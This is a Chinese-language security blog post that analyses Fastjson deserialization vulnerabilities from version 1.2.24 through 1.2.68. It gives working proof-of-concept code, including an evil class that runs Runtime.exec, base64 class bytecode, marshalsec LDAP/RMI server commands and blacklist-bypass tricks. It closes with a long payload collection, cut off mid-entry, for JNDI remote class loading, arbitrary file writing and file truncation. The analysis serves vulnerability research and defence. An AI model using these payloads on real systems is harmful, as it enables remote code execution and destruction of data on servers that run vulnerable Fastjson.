FastJson全系漏洞分析

文章发布时间:

最后更新时间:

文章总字数:
6.9k

预计阅读时间:
31 分钟

FastJson全系漏洞分析

前置知识

fastjson是什么

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。这个反序列化就是我们研究的重点。反序列化的对象必须具有默认的无参构造器和get|set方法,反序列化的底层实现就是通过无参构造器和get,set方法进行的。

fastjson反序列化漏洞成因与利用

反序列化使用的方法:JSON.parseObject(),如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的class对象,才能反序列成指定的对象。

反序列化漏洞成因:可以随意指定@type,从而实现任意类的反序列化操作,且在一定情况下会自动调用无参构造函数,get和set方法,如果这些方法可以构成链子便可以加以利用,很像readObject的自动调用。

fastjson功能要点与不同反序列化函数调用

Fastjson 1.2.24反序列化漏洞深度分析 - 知乎 (zhihu.com)

  • 使用 JSON.parse(jsonString) 和 **JSON.parseObject(jsonString, Target.class)JSON.parseObject(jsonString)**的不同:

    前两个的调用链路是基本一样的,只是class的来源不同,第一个是通过String中的@type指定,而第二个是通过传入的class来指定,前两个都会有条件地调用getter/setter方法

    其中 getter 方法需满足条件:方法名长于 4不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。

    最后一个的调用链路则有所不同:其实是多了一步toJSON

    image-20230830095800024

    可以看到他把传入的text解析成了javaObject,再调用了toJSON方法转成jsonObject,而toJSON方法里面会通过反射获取所有的getter和setter,并依次进行调用。

    总结就是JSON.parse(jsonstr)与JSON.parseObject(jsonstr, FastJsonTest.class)可以认为是完全一样的,只调用了部分的getter和所有的setter,而parseObject(String text)是在二者的基础上又执行了一次JSON.toJSON(),调用了所有的getter和所有的setter

  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数,随jsonString一同传入(这时候需要注意的是当传入Feature.SupportNonPublicField时,就不再可以调用所有的getter,而是只能调用满足条件的getter)。

    image-20230830100201661

  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略_|-字符串,也就是说哪怕你的字段名叫 a_g_e,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。

  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。也就是说我们在传入恶意的字节码时需要对字节码进行base64编码

FastJson1.2.24反序列化链

从0到1的fastjson的反序列化漏洞分析 - 先知社区 (aliyun.com)

Fastjson 反序列化分析 - 跳跳糖 (tttang.com)

此版本下主要有两条链:

TemplatesImpl链

这条链更偏向于CC链,通过自动调用来完成攻击,动态加载了恶意类的字节码。

首先搭建环境分析一下这个TemplatesImpl反序列化链,以及为什么这个链可以用于攻击FastJson。

FastJson版本为1.2.24,在pom.xml里面加入下列代码,maven run即可:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

先研究研究TemplatesImpl链,不考虑FastJson,可以从漏洞发现者的角度来分析这个链子(从利用点往上推),TemplatesImpl.java位于com/sun/org/apache/xalan.internal/xsltc/trax/TemplatesImpl中,首先漏洞的利用点在getTransletInstance方法中:

image-20230830101757054

可以看到这里的387行调用了_class[_transletIndex]newInstance方法,java动态类加载中提到,当调用newInstance时会自动调用该类中的静态代码块static{},如果我们可以控制_class[_transletIndex],即可实现攻击。

往上看可以看到这里有两个if判断,首先第一个,要求_name非空,如果为空的话这个函数就会直接退出,_name是这个类的成员变量,且默认为空,这就要求我们在json数据中需要为_name赋值

image-20230830102306588

加之_name是private,且并没有set方法,所以我们需要使用 Feature.SupportNonPublicField 参数,也就是说反序列化的时候应该这么调用Object obj = JSON.parseObject(text, Feature.SupportNonPublicField);

继续看第二个if,调用了一个defineTransletClasses()方法,从方法名也可以看出这里为_class赋值,截取代码的关键部分:

image-20230830102916593

可以看到这里是通过loader.defineClass传入_bytecodes来给_class[i]赋值,defineClass就是把字节码转换回了类,而_transletIndex就是i,综上,我们只需要控制_bytecodes,传入恶意字节码,即可实现漏洞的利用(另外有一点,前面的代码分析可知_tfactory需要不为空,否则会报错,这同样需要在json字符串里面进行赋值)。将恶意类转换为恶意字节码的脚本如下(来自pop神),需要注意的是这里需要进行base64编码,原因在fastjson的功能特性里面也提到过,如果Field类型是byte数组,就会自动进行base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

public class Demo {
public static void main(String[] args) {
byte[] buffer = null;
String filepath = "";//输入恶意类的磁盘路径
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = ((Base64.Encoder) encoder).encodeToString(buffer); //base64加密
System.out.println(value);

}
}

解决了可控参数问题,往上找谁调用了getTransletInstance(),全局搜索,找到newTransformer()

image-20230830103824912

再往上完善调用链,找到了getOutputProperties()

image-20230830104054445

最后我们可以知道,只要能自动调用getOutputProperties(),就能顺着链子完成攻击。

链子:getOutputProperties()->newTransformer()->getTransletInstance()

恰巧fastjson在反序列化的时候会自动调用符合条件的get方法,经过分析,这个getOutputProperties()符合条件。poc如下(弹出计算器):

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//EvilCalss.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{

}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{

}

public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}

}

将其编译为字节码:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class app {
public static void main(String[] args) {
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEAMgoABgAjCgAkACUIACYKACQAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQApTGNvbS9kYXJrZXJib3gv5p6E6YCgYnl0ZWNvZGVzL2J5dGVjb2RlMTsBAApFeGNlcHRpb25zBwAqAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcALAEAClNvdXJjZUZpbGUBAA5ieXRlY29kZTEuamF2YQwABwAIBwAtDAAuAC8BAARjYWxjDAAwADEBACdjb20vZGFya2VyYm94L+aehOmAoGJ5dGVjb2Rlcy9ieXRlY29kZTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAAEAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAJABwAHQACAAkAAAArAAAAAQAAAAGxAAAAAgAKAAAABgABAAAAHgALAAAADAABAAAAAQAeAB8AAAAOAAAABAABACAAAQAhAAAAAgAi\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
// Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
Object obj = JSON.parseObject(text, Feature.SupportNonPublicField);
}
}

JdbcRowSetImpl链

这条链是jndi注入,需要本地起服务来远程调用恶意类。

jndi注入的关键在于lookup方法,此法可以获取远程绑定到注册中心的类,全局搜索lookup方法,找到在com/sun/rowset/JdbcRowSetImpl的connect方法中:

image-20230830112937677

可以看到这里lookup传入的是调用getDataSourceName方法的返回值,跟进getDataSourceName看是否可以控制返回值,此方法在JdbcRowSetImpl的父类BaseRowSet中:

image-20230830113506010

可以看到只需要控制dataSource的值即可,根据源码的指引看看setDataSourceName方法

image-20230830113544869

可以看到直接就把传入的name赋值给了dataSource,那么这个name我们可不可以控制呢?当然可以随便控制,因为fastjson反序列化的时候就会自动调用所有的set方法进行赋值,我们只要在json字符串中加上dataSourceName:name即可找到这个方法,并将name赋给dataSource。

顺便一提,其实我们指定的类是JdbcRowSetImpl,找set方法肯定也是从这个类里面找:

image-20230830114141427

可以看到初始条件下这个get就是null,故直接调用了super的该方法,也就是我们上面说的那个方法。

至此,lookup的参数已经可控,可以往上面找调用链了,找找谁调用了connect,找到了setAutoCommit,要求传入一个布尔类型的值:

image-20230830114423409

既然fastjson反序列化的时候会自动调用set,那我们在json字符串里面加上AutoCommit即可,从而完成远程类加载。

这里再实践下远程类加载(编译成class文件+python起http服务+marshalsec起ldmp/rmi服务)

先写好java恶意类,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
public Exploit(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (IOException e){
e.printStackTrace();
}
}

public static void main(String[] args) {
Exploit exploit = new Exploit();
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

然后cmd输入javac Exploit.java,编译为class文件

使用python选一个端口在当前目录下开一个web服务

image-20230830150555105

进入marshalsec\target,使用命令开启服务,并且指定注册中心的端口,即向哪lookup

RMI java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:9000/#Exploit 1389

LDAP java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9000/#Exploit 1389

image-20230830150529844

开启之后输入payload:

1
2
3
4
5
6
public class app {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/#Exploit\", \"autoCommit\":false}";
JSON.parse(payload);
}
}

这里注意一点,jdk版本需要满足 8u161 < jdk < 8u191,不过看到200正常请求到就行了。

FastJson各种版本漏洞

参考文章:https://su18.org/post/fastjson/#2-fastjson-1225

1.2.25-1.2.41

影响版本:1.2.25 <= fastjson <= 1.2.41
作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护

主要的变化是引入了checkAutoType安全机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,而手动打开了autoTypeSupport之后,是基于内置黑名单来保证安全,同时fastjson也提供了添加黑名单的接口。

安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig

image-20230830170335599

首先看这里出现的几个成员变量,autoTypeSupport标识是否开启任意类反序列化,默认关闭,denyList是黑名单,基本能利用的都ban了,acceptList是白名单,跳转进行判断的主要方法,checkAutoType:

image-20230830174407150

image-20230830174550384

首先看到第一个主要的逻辑,如果autoTypeSupport开启,则先进行白名单判断,通过则加载类再进行黑名单判断,若不通过则返回错误。我们想要使用的恶意类当然通不过白名单。

image-20230830174648449

再看到第二个逻辑,如果没开启,则先进行黑名单判断,再进行白名单判断,不过这都不是我们的重点,重点在这两个都过去了之后的if语句:

image-20230830174746514

能来到这里的条件是类既不在黑名单也不在白名单,且autoTypeSupport开启,可以看到这里是调用了TypeUtils.loadClass,跟进看看:

image-20230830174853324

在使用map通过类名查找类进行加载之前先进行了几个if的处理,重点看到840行,这里说如果类名是L开头且;结尾就把这两个字母去掉,于是只需要将payload里的类名进行处理,前面加上L,后面加上;,即可绕过这个黑白名单的安全检查(记得手动打开AutoTypeSupport)。顺便一提,这个[也是伏笔,因为也可以起到相同的效果

1
2
3
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/#Exploit\", \"autoCommit\":false}";
JSON.parseObject(payload);

1.2.42

影响版本:1.2.25 <= fastjson <= 1.2.42

fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击,但是依然可以通过hash撞库来获取。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复,但是依然没有修复彻底,可以绕过。

image-20230830193453100

看看ParserConfig里面,可以看到黑名单已经全部变成hash了。

image-20230830194001186

这里翻译一下就是如果你传入的typename是L开头;结尾的就先给你去了,再传入loadclass,这像不像sql注入里面那个检测删去?双写绕过即可。话说这个修复真的是认真修复的吗(

@type:"LLcom.sun.rowset.JdbcRowSetImpl;;"

1.2.43

影响版本:1.2.25 <= fastjson <= 1.2.43

这次更是直接禁止两个L,L的绕过告一段落了,可以看看[的绕过

image-20230830194507106

799和800行就是判断前面是不是有两个L

那我们可以在type前面加上[来绕过这个checkAutoType,需要注意的是payload还需要做一点点修改以绕过fastjson的自动检测:

"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName"

1.2.45

修复了[的绕过,在checkAutoType中进行判断如果类名以[开始则直接抛出异常,但是这里又有了一个新的类可以供利用,jackson明文黑名单,每次一爆出大家就来试试fastjson,总能收获CVE

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

最开始也说了,如果没有开启AutoTypeSupport,就会先检测黑名单,然后直接报错,没法绕过,我们的关键在于能不能让程序不走到AutoTypeSupport这一步。

image-20230830211929070

看这一段代码(依然出自checkAutoType),可以看到842行处判断autoTypeSupport,而839行直接返回了clazz,我们的目的就是让他找到clazz,这里和前面有些许不同,这里并不需要再进入loadclass,因为类已经找到了,从哪里找的呢,看前面的两个if,从Mapping和deserializers里面找。也就是说,我们的目标变为把可利用的类加载进Mapping或者deserializers。

先看deserializers,可以看到能给他赋值的函数有三个但是都没法利用:

  • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  • putDeserializer():被前两个函数调用,我们无法控制入参。

再看TypeUtils.mapping,能向其中赋值的函数有两个:

  • addBaseClassMappings():无入参,加载
  • loadClass():关键函数

image-20230830214029387

可以看到在loadClass中的多次出现如果cache为true,就将className和获取到的clazz放入mapping中的操作,而这个className就是我们传入loadClass的参数,也就是说只要我们能够调用TypeUtils的loadClass,并且能控制参数中的className即可达成找类的目标,但是之前autoTypeCheck也分析过了,在AutoTypeSupport不开的情况下根本不可能调用到这个loadClass(三个参数的),找找他的重载方法:

  • Class<?> loadClass(String className):除了自调用,有一个 castToJavaBean() 方法,暂未研究,这个类暂时无法利用。
  • Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的loadClass,并添加参数 true ,也就是会加入参数缓存cache中。

image-20230830215137273

于是我们的重点变成了找谁调用了两个参数的loadClass,以及第一个参数是否可以控制。全局搜索一下,这里有个小坑,啥都搜不到是因为这些源代码其实还没有下载下来,直接右上角下载源代码即可。

image-20230830215921895

找到了这个MiscCodec类里面的deserialize方法,跟进:

image-20230830221316802

可以看到这里的clazz如果是Class.class就会调用loadClass,初始化deserializers的时候有

image-20230830222805256

另外可以看到这里的第一个参数是strVal,看看是否可以控制:

image-20230830221624893

简单来说就是objVal是在parser.parse()中截取而来,且参数名必须为val,否则会抛出异常,再传给strVal,这样就完成了恶意类加载到mapping。

最终,我们需要先传入一个java.lang.class类(可以满足上面的if判断),带有val参数,参数指定了我们需要利用的恶意类的名字,完成将恶意类加载到mapping里的操作,再次传入恶意类和利用参数就不会被黑名单拦截,从而在不开启AutoTypeSupport的情况下完成了jndi注入。

1
2
3
4
5
6
7
8
9
10
11
{
"su18": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"su19": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}

1.2.68

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

没办法提前缓存了,但是核心思路依然没有改变,就是绕过checkAutoType()的安全检查。

image-20230831104637465首先看这个新增的safeMode,如果开启的话直接完全禁止autoType

image-20230831104743550

然后再看这里有个逻辑判断,如果有expectClass,且传进的类是expectClass的子类,那么就可以返回clazz。

接下来我们找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:

  • ThrowableDeserializer#deserialze()
  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class

image-20230831105322471

而且后面直接进行了异常类实例的创建:

image-20230831105442630

这样就成功绕过了autoTypeCheck,我们只需要在Throwable.class的子类中寻找getter/setter/static block/constructor 中含有具有威胁的代码逻辑即可。

Throwable 类似地,还有 AutoCloseable ,之所以使用 AutoCloseable 以及其子类可以绕过 checkAutoType() ,是因为 AutoCloseable 是属于 fastjson 内置的白名单中,其余的调用链一致。

FastJson各种payload

摘自fastjson:我一路向北,离开有你的季节 | 素十八 (su18.org)

需要自行验证版本并做相应的修改。

JdbcRowSetImpl

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}

TemplatesImpl

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}

JndiDataSourceFactory

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}

SimpleJndiBeanFactory

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}

DefaultBeanFactoryPointcutAdvisor

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

1
2
3
4
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}

JndiRefForwardingDataSource

1
2
3
4
5
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}

InetAddress

1
2
3
4
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}

Inet6Address

1
2
3
4
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}

URL

1
2
3
4
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}

JSONObject

1
2
3
4
5
6
7
8
9
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}

URLReader

1
2
3
4
5
6
7
8
9
10
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}

JndiConverter

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}

JndiObjectFactory

1
2
3
4
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

1
2
3
4
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}

AutoCloseable MarshalOutputStream 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

1
2
3
4
5
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}

JMSContentInterceptor

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}

ContextClassLoaderSwitcher

1
2
3
4
5
6
7
8
9
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}

OracleManagedConnectionFactory

1
2
3
4
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

1
2
3
4
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}

JDBC4Connection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.lang.AutoCloseable",
